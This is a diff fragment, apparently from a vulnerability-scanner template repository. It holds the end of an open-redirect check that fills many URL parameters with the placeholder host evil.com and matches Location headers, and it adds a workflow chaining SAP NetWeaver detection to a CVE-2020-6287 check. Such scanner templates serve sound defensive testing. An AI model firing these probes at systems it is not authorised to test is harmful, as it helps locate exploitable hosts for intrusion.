       - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com"
     matchers:
       - type: regex
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?evil\.com(?:\s*?)$'
-        part: header
+        part: header

workflows/sap-netweaver-workflow.yaml

@@ -0,0 +1,15 @@
+id: sap-netweaver-workflow
+
+info:
+  name: SAP NetWaver Workflow
+  author: dwisiswant0
+
+variables:
+  sap_netweaver_as_java: technologies/sap-netweaver-as-java-detect.yaml
+  sap_netweaver_as_java_cve_1: cves/CVE-2020-6287.yaml
+
+logic:
+  |
+  if sap_netweaver_as_java() {
+    sap_netweaver_as_java_cve_1()
+  }